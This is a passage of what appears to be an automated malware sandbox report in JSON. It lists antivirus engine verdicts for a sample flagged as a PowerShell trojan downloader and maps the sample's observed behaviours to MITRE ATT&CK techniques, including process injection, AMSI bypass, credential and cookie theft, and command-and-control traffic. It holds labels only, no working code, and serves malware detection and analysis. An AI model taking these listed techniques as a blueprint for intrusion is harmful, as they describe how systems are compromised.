:{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/PS.Agent.d","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"TrojanDownloader/PS.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Digital Certificates","attack_id":"T1588.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1588/004","identifiers":[{"type":"suspicious","value":"The input sample dropped/contains a certificate file"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes powershell with commandline"},{"type":"informative","value":"Executes Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Creates new processes"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"malicious","value":"Execute Python scripts with dropped interpreter (Python execution from different path)"},{"type":"informative","value":"Executes a Python script"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Uses powershell to execute new process"},{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Modifies Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decompress files using PowerShell"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"YARA signature match - ChaCha20 encryption algorithm"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Uses .NET dynamic method generation for code execution"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"},{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies using SQL"},{"type":"informative","value":"Attempts to obtain browser cookies (file access)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Able to access file/directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Drops a license file"},{"type":"suspicious","value":"Reads configuration files (.ini files)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Queries list of installed browsers"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"malicious","value":"Makes HTTPS connections using an insecure TLS/SSL version"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"},{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"69c5a0b938d88758150336f9"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual 